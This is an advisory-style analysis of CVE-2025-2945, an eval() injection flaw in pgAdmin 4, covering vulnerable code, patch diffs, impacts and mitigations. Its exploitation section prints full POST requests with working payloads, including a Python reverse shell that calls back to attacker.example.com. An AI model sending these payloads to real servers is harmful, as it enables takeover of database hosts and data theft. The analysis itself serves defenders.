CVE-2025-2945: Remote Code Execution in pgAdmin 4

Executive Summary

CVE-2025-2945 is a critical Remote Code Execution (RCE) vulnerability affecting pgAdmin 4, a web-based management tool for PostgreSQL databases. The vulnerability stems from the unsafe use of the eval() function in Python, allowing attackers to execute arbitrary code on the server. Specifically, two POST endpoints, /sqleditor/query_tool/download and /cloud/deploy, are vulnerable due to the query_commited and high_availability parameters, respectively, being passed directly to eval() without proper sanitization. This vulnerability has a CVSS score of 9.9, indicating its severity and potential for widespread exploitation. pgAdmin 4 versions prior to 9.2 are affected.

Technical Details

The vulnerability resides in pgAdmin 4, specifically within the Query Tool and Cloud Deployment modules. The affected components are:

  • Query Tool: web/pgadmin/tools/sqleditor/__init__.py
  • Cloud Deployment: web/pgacloud/providers/google.py

The vulnerable endpoints are:

  • /sqleditor/query_tool/download
  • /cloud/deploy

Affected versions: pgAdmin 4 versions prior to 9.2.

The root cause lies in the way pgAdmin 4 handles user-supplied input to the eval() function. The eval() function in Python executes arbitrary code passed to it as a string. When user-controlled data is passed to eval() without proper validation or sanitization, it creates an opportunity for attackers to inject malicious code.

Root Cause Analysis

The vulnerability is present in two distinct parts of the pgAdmin 4 codebase. Let's examine each one:

1. Query Tool (/sqleditor/query_tool/download):

In the web/pgadmin/tools/sqleditor/__init__.py file, the start_query_download_tool function processes POST requests to the /sqleditor/query_tool/download endpoint. The code extracts parameters from the request and, critically, uses eval() on the query_commited parameter.

# Vulnerable code snippet from web/pgadmin/tools/sqleditor/__init__.py
def start_query_download_tool(trans_id):
    # ...
    for key, value in request.form.items():
        if key == 'sql':
            sql = value
        if key == 'query_commited':
            query_commited = (
                eval(value) if isinstance(value, str) else value
            )
    # ...

The eval(value) call directly executes the string provided in the query_commited parameter. An attacker can craft a malicious POST request with a query_commited value containing arbitrary Python code, which will then be executed by the pgAdmin 4 server.

2. Cloud Deployment (/cloud/deploy):

Similarly, in the web/pgacloud/providers/google.py file, the _create_google_postgresql_instance function processes arguments related to cloud deployment, specifically the high_availability parameter.

# Vulnerable code snippet from web/pgacloud/providers/google.py
def _create_google_postgresql_instance(self, args):
    # ...
    high_availability = \
        'REGIONAL' if eval(args.high_availability) else 'ZONAL'
    # ...

Here, the eval(args.high_availability) call evaluates the string provided in the high_availability parameter. This allows an attacker to inject and execute arbitrary Python code during the cloud deployment process.

The core issue in both cases is the lack of input validation and sanitization before passing user-supplied data to the eval() function. This allows attackers to bypass intended program logic and execute arbitrary code, leading to a complete compromise of the pgAdmin 4 server.

Patch Analysis

The patch addresses the vulnerability by replacing the unsafe eval() calls with safer alternatives that do not execute arbitrary code. Instead of directly evaluating the input string, the patched code now interprets the string as a boolean value.

1. Query Tool Patch (web/pgadmin/tools/sqleditor/__init__.py):

--- a/web/pgadmin/tools/sqleditor/__init__.py
+++ b/web/pgadmin/tools/sqleditor/__init__.py
@@ -2156,7 +2156,8 @@ def start_query_download_tool(trans_id):
                 sql = value
             if key == 'query_commited':
                 query_commited = (
-                    eval(value) if isinstance(value, str) else value
+                    value.lower() in ('true', '1') if isinstance(
+                        value, str) else value
                 )
         if not sql:
             sql = trans_obj.get_sql(sync_conn)

This patch replaces eval(value) with value.lower() in ('true', '1'). This change converts the input string to lowercase and checks if it is equal to "true" or "1". If it is, query_commited is set to True; otherwise, it is set to False. This effectively prevents arbitrary code execution by treating the input as a boolean value rather than executable code.

Explanation:

  • The original code used eval(value) which would execute any Python code present in the value string.
  • The patched code now checks if the lowercase version of value is either "true" or "1". This ensures that only boolean-like values are accepted, preventing code injection.
  • The isinstance(value, str) check ensures that the conversion only happens if the value is a string, preserving the original behavior for non-string inputs.

2. Cloud Deployment Patch (web/pgacloud/providers/google.py):

--- a/web/pgacloud/providers/google.py
+++ b/web/pgacloud/providers/google.py
@@ -136,8 +136,12 @@ def _create_google_postgresql_instance(self, args):
         credentials = self._get_credentials(self._scopes)
         service = discovery.build('sqladmin', 'v1beta4',
                                   credentials=credentials)
--        high_availability = \
-            'REGIONAL' if eval(args.high_availability) else 'ZONAL'
+
+        _high_availability = args.high_availability.lower() in (
+            'true', '1') if isinstance(args.high_availability, str
+                                       ) else args.high_availability
+
+        high_availability = 'REGIONAL' if _high_availability else 'ZONAL'
 
         db_password = self._database_password \
             if self._database_password is not None else args.db_password

This patch replaces eval(args.high_availability) with a similar boolean check. It converts the input string to lowercase and checks if it is equal to "true" or "1". The result is stored in _high_availability, which is then used to determine whether to set high_availability to 'REGIONAL' or 'ZONAL'.

Explanation:

  • The original code used eval(args.high_availability) which would execute any Python code present in the args.high_availability string.
  • The patched code now checks if the lowercase version of args.high_availability is either "true" or "1". This ensures that only boolean-like values are accepted, preventing code injection.
  • The isinstance(args.high_availability, str) check ensures that the conversion only happens if the value is a string, preserving the original behavior for non-string inputs.

In both cases, the patch effectively mitigates the RCE vulnerability by replacing the dangerous eval() calls with safe boolean checks, preventing attackers from injecting and executing arbitrary code.

Exploitation Techniques

The vulnerability can be exploited by sending a crafted POST request to either the /sqleditor/query_tool/download or /cloud/deploy endpoint with a malicious payload in the query_commited or high_availability parameter, respectively.

Exploitation Scenario 1: Query Tool (/sqleditor/query_tool/download)

  1. Craft a malicious payload: The payload should be a Python expression that executes arbitrary code. For example, to execute the id command and write the output to a file, the payload could be:

    __import__('os').system('id > /tmp/output.txt')
    
  2. Create a POST request: Send a POST request to /sqleditor/query_tool/download with the query_commited parameter set to the malicious payload.

    POST /sqleditor/query_tool/download HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    
    query_commited=__import__('os').system('id > /tmp/output.txt')
    
  3. Execute the request: Send the crafted POST request to the target pgAdmin 4 server.

  4. Verify the execution: If the exploit is successful, the id command will be executed on the server, and the output will be written to the /tmp/output.txt file.

Exploitation Scenario 2: Cloud Deployment (/cloud/deploy)

  1. Craft a malicious payload: Similar to the Query Tool exploit, create a Python expression to execute arbitrary code. For example, to create a reverse shell, the payload could be:

    __import__('socket').socket().connect(('attacker.example.com', 4444)); __import__('os').dup2(0,1); __import__('os').dup2(0,2); __import__('subprocess').call(['/bin/sh', '-i'])
    
  2. Create a POST request: Send a POST request to /cloud/deploy with the high_availability parameter set to the malicious payload. The exact parameters required for the /cloud/deploy endpoint will depend on the specific deployment configuration.

    POST /cloud/deploy HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    
    high_availability=__import__('socket').socket().connect(('attacker.example.com', 4444)); __import__('os').dup2(0,1); __import__('os').dup2(0,2); __import__('subprocess').call(['/bin/sh', '-i'])&other_params=...
    
  3. Execute the request: Send the crafted POST request to the target pgAdmin 4 server.

  4. Receive the reverse shell: If the exploit is successful, the server will connect back to attacker.example.com on port 4444, providing a reverse shell.

Real-World Impacts:

  • Complete System Compromise: An attacker can gain complete control over the pgAdmin 4 server, allowing them to access sensitive data, modify system configurations, and install malware.
  • Database Access: Since pgAdmin 4 is used to manage PostgreSQL databases, an attacker can gain access to all databases managed by the compromised pgAdmin 4 instance.
  • Data Theft and Modification: An attacker can steal sensitive data from the databases or modify the data to their advantage.
  • Lateral Movement: An attacker can use the compromised pgAdmin 4 server as a stepping stone to attack other systems on the network.
  • Denial of Service: An attacker can disrupt the availability of the pgAdmin 4 server and the managed databases, causing a denial of service.

Mitigation Strategies

To mitigate the risk of CVE-2025-2945, the following strategies are recommended:

  1. Upgrade to pgAdmin 4 version 9.2 or later: This is the most effective way to address the vulnerability, as the patch removes the unsafe eval() calls.

  2. Web Application Firewall (WAF): Implement a WAF to filter out malicious requests targeting the vulnerable endpoints. The WAF should be configured to block requests containing potentially malicious Python code in the query_commited and high_availability parameters.

  3. Input Validation: If upgrading is not immediately possible, implement strict input validation on the server-side to sanitize the query_commited and high_availability parameters before they are processed. Ensure that the input only contains expected values and does not contain any potentially malicious code. However, this is a less reliable solution than upgrading, as it is difficult to anticipate all possible attack vectors.

  4. Principle of Least Privilege: Ensure that the pgAdmin 4 server is running with the least privileges necessary to perform its functions. This can limit the impact of a successful exploit.

  5. Regular Security Audits: Conduct regular security audits of the pgAdmin 4 installation to identify and address any potential vulnerabilities.

  6. Monitor Network Traffic: Monitor network traffic for suspicious activity targeting the pgAdmin 4 server. This can help detect and respond to attacks in a timely manner.

  7. Disable Unnecessary Features: Disable any unnecessary features or modules in pgAdmin 4 to reduce the attack surface.

Timeline of Discovery and Disclosure

  • 2025-03-29: Vulnerability was discovered externally.
  • 2025-03-29: Vulnerability was reported to the pgAdmin development team.
  • 2025-04-03: pgAdmin 4 version 9.2 was released, containing the fix for CVE-2025-2945.
  • 2025-04-03: CVE-2025-2945 was publicly disclosed.
  • 2025-04-04: CISA ADP Vulnrichment updated.

References

Read more